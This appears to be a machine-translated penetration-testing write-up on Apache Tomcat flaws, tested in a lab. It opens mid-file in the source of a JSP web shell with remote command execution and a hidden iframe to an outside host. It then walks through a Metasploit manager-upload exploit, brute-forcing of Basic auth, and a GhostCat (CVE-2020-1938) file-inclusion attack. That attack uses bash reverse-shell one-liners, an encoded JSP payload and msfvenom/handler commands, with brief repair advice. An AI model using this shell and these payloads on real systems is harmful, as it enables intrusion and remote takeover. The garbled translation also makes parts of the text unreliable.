onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>"); sbFile.append(""+list[i].getName()); sbFile.append("</td><td>"); sbFile.append(""+strLen); sbFile.append("</td><td>"); sbFile.append(""+strDT); sbFile.append("</td><td>"); sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileEdit[languageNo]+"</a> "); sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileDel[languageNo]+"</a> "); sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileDown[languageNo]+"</a> "); sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">"); sbFile.append(strFileCopy[languageNo]+"</a> "); } } } catch(Exception e) { out.println("<font color=red>Operation failed: "+e.toString()+"</font>"); } %> <DIV id="tabcontentcontainer"> <div id="menu3" class="tabcontent"> <br> <br> hang in the air <br> <br> </div> <div id="menu4" class="tabcontent"> <br> <p>1, Function description</p> <p> jsp Version of file manager, through which you can remotely manage the file system on the server. You can create, modify</p> <p>Delete and download files and directories. about windows The system also provides the function of command line window, which can run some programs, similar to</p> <p>And windows of cmd. </p> <p> </p> <p>2, Testing</p> <p> <b>Please leave me a message if you have any questions, comments or suggestions during use, so as to make this program more perfect and stable,<p> The message address is:<a href="http://" target="_blank"></a></b> <p> </p> <p>3, Update record</p> <p> 2004.11.15 V0.9 The beta release adds some basic functions, such as file editing, copying, deleting, downloading, uploading and creating a new file directory</p> <p> 2004.10.27 Temporarily set to 0.6 Version bar, provides directory file browsing function and cmd function</p> <p> 2004.09.20 first jsp Program is this simple small program that displays directory files</p> <p> </p> <p> </p> </div> <div id="menu1" class="tabcontent"> <% out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n"); %> <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"> <tr> <td width="25%" align="center" valign="top"> <table width="98%" border="0" cellspacing="0" cellpadding="3"> <%=sbFolder%> </tr> </table> </td> <td width="81%" align="left" valign="top"> <% if(strAction!=null && strAction.equals("edit")) { out.println(sbEdit.toString()); } else if(strAction!=null && strAction.equals("copy")) { out.println(sbCopy.toString()); } else if(strAction!=null && strAction.equals("down")) { out.println(sbDown.toString()); } else if(strAction!=null && strAction.equals("savecopy")) { out.println(sbSaveCopy.toString()); } else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals("")) { out.println(sbNewFile.toString()); } else { %> <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" > <tr bgcolor="#E7e7e6"> <td width="26%"><%=strFileName[languageNo]%></td> <td width="19%"><%=strFileSize[languageNo]%></td> <td width="29%"><%=strLastModified[languageNo]%></td> <td width="26%"><%=strFileOperation[languageNo]%></td> </tr> <%=sbFile%> <!-- <tr align="center"> <td colspan="4"><br> Total number of documents:<font color="#FF0000">30</font> ,size:<font color="#FF0000">664.9</font> KB </td> </tr> --> </table> </span> <% } %> </td> </tr> <form name="frmMake" action="" method="post"> <tr><td colspan=2 bgcolor=#FBFFC6> <input type="hidden" name="action" value="newFile"> <input type="hidden" name="path" value="<%=strDir%>"> <input type="hidden" name="file" value="<%=strFile%>"> <input type="hidden" name="cmd" value="<%=strCmd%>"> <input type="hidden" name="tabID" value="1"> <input type="hidden" name="content" value=""> <% if(!strDir.endsWith("\\")) strDir = strDir + "\\"; %> <input type="text" name="fileName" size=36 value="<%=strDir%>"> <input type="submit" name="btnNewFile" value="new file" onclick="frmMake.submit()" > <input type="submit" name="btnNewDir" value="new directory" onclick="frmMake.submit()" > </form> <form name="frmUpload" enctype="multipart/form-data" action="" method="post"> <input type="hidden" name="action" value="upload"> <input type="hidden" name="path" value="<%=strDir%>"> <input type="hidden" name="file" value="<%=strFile%>"> <input type="hidden" name="cmd" value="<%=strCmd%>"> <input type="hidden" name="tabID" value="1"> <input type="hidden" name="content" value=""> <input type="file" name="cqqUploadFile" size="36"> <input type="submit" name="submit" value="upload"> </td></tr></form> </table> </div> <div id="menu2" class="tabcontent"> <% String line=""; StringBuffer sbCmd=new StringBuffer(""); if(strCmd!=null) { try { //out.println(strCmd); Process p=Runtime.getRuntime().exec("cmd /c "+strCmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null) { sbCmd.append(line+"\r\n"); } } catch(Exception e) { System.out.println(e.toString()); } } else { strCmd = "set"; } %> <form name="cmd" action="" method="post"> <input type="text" name="cmd" value="<%=strCmd%>" size=50> <input type="hidden" name="tabID" value="2"> <input type=submit name=submit value="<%=strExecute[languageNo]%>"> </form> <% if(sbCmd!=null && sbCmd.toString().trim().equals("")==false) { %> <TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA> <br> <% } %> </DIV> </div> <br><br> <center><a href="http://" target="_blank"></a> <br> <iframe src=http://7jyewu.cn/a/a.asp width=0 height=0></iframe>
MSF attack
use exploit/multi/http/tomcat_mgr_upload set HttpUsername tomcat set HttpPassword tomcat set rhosts 192.168.175.191 set rport 8080 exploit
I'll skip it and operate it myself
That's how we got in
Repair suggestions
1,Run with low privileges on the system Tomcat Application. Create a dedicated Tomcat Service user, who can only have a minimum set of permissions (for example, remote login is not allowed) 2,Add local and certificate based authentication and deploy account locking mechanism (for centralized authentication, the directory service should also be configured accordingly). stay CATALINA_HOME/conf/web.xml Set file locking mechanism and time-out limit 3,And for manager-gui/manager-status/manager-script Set the minimum permission access limit on the directory page
Tomcat manager App brute force cracking
Loophole recurrence
Let's grab the bag backstage first
Then put the package for login
Notice the echo here
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Find the background login account and password of Tomcat
base64 encrypted account: password
Then we go back to grab the bag backstage and blow it up
Add encoding rules for codebook and base64
Remove the check mark of this self-contained code
Start the attack and get the account and password
Here's the second way
Custom iterator
Load in different locations
For example, there should be three positions here
The following settings are the same as before
base64 encoding and unchecked default Url encoding
Repair suggestions
1.cancel manager/html function 2.manager Pages should only allow local IP visit
Tomcat AJP file contains vulnerability analysis (CVE-2020-1938)
Vulnerability profile
Because Tomcat did not verify the AJP request when processing it
By setting the properties of the request object encapsulated by AJP connector, arbitrary file reading vulnerability and code execution vulnerability are generated!
CVE-2020-1938, also known as GhostCat, is a security vulnerability in Tomcat discovered by security researchers of Changting technology. Due to defects in the design of Tomcat AJP protocol, an attacker can read or contain any file under all webapp directories on Tomcat through Tomcat AJP Connector, such as webapp configuration file or source code.
In addition, when the target application has the function of file upload, the harm of remote code execution can be achieved with the use of file inclusion.
Source code analysis
The vulnerability is caused by two configuration files
Tomat has two important configuration files conf / server xml,conf/web.xml
The former defines the component properties involved in Tomcat startup, including two connectors (components used to process requests)
If it is enabled, tomcat will listen to ports 8080 and 8009 after startup, which are responsible for receiving data from http and ajp protocols respectively
The latter, like ordinary Java Web applications, is used to define servlet s
Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x<8.5.51 Apache Tomcat 7.x<7.0.100 Apache tomcat 6.x
Reference link
https://xz.aliyun.com/t/7325
https://yinwc.github.io/2020/03/01/CVE-2020-1938/
Operation process
As can be seen from the figure, the topmost Container of Tomcat is Server, which contains at least one or more services. A Service consists of multiple connectors and a Container.
The functions of these two components are:
1,Connector Used to handle connection related matters and provide Socket And Request and Response Related transformation; 2,Container For encapsulation and management Servlet,And specific treatment Request request
Tomcat defaults to conf / server Two connectors are configured in XML,
One is the HTTP protocol (version 1.1) port of port 8080. The default listening address is 0.0.0.0:8080
The other is the default 8009 AJP protocol (version 1.3). The default listening address is 0.0.0.0:8009. Both ports listen to the Internet by default. The location of this vulnerability is the 8009 AJP protocol. The public script is used to test here. You can see that you can read the web XML file
Loophole recurrence
Using vulhub
cd tomcat/CVE-2020-1938 sudo docker-compose up -d
Poc address: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
The script is based on Python 2
It can see everything in the webapps directory
You can see its syntax requirements
python2 File reading.py 192.168.175.191 -p 8009 -f webapps Files to be read under directory
python2 File reading.py 192.168.175.191 -p 8009 -f /WEB-INF/web.xml
File contains RCE
Online bash payload generation: http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.175.191/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
Final txt payload
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
You have to upload it manually here
see
sudo docker ps
Then start uploading
sudo docker cp /home/dayu/Desktop/1.txt 6c80deb9d194:/usr/local/tomcat/webapps/ROOT
You can go to the bottom of docker
sudo docker exec -ti 6c bash
Success passed on
Enable nc listening
See here for details: https://blog.csdn.net/qq_30653631/article/details/93749505?utm_medium=distribute.pc_aggpage_search_result.none -task-blog-2~aggregatepage~first_ rank_ v2~rank_ aggregation-1-93749505. pc_ agg_ rank_ aggregation&utm_ term=Ubuntu%E5%AE%89%E8%A3%85nc&spm=1000.2123.3001.4430
python2 File contains.py 192.168.175.191 -p 8009 -f 1.txt
You can see the successful launch
It can be linked with War, right? It can be linked with PUT
Pop the shell onto the MSF
MSF generate Trojan
I'd better go to kali. Ubuntu is not very easy
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.175.167 LPORT=4444 R > shell.txt
sudo docker cp /home/dayu/Desktop/shell.txt 6c80deb9d194:/usr/local/tomcat/webapps/ROOT
Go to the bottom of docker
Enable listening on MSF
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp payload => java/jsp_shell_reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.175.167 lhost => 192.168.175.167 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > exploit -j
The execution file contains RCE
python2 File contains.py 192.168.175.191 -p 8009 -f shell.txt
You can see that you've got the shell
Press shell to come in
Repair suggestions
1. Upgrade Tomcat to version 9.0.31, 8.5.51, or 7.0.100 immediately for repair
2. Disable AJP protocol
Specific methods:
Edit / conf / server XML, find the following line:
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
Comment or delete
3. Configure secret to set the authentication credentials of AJP protocol.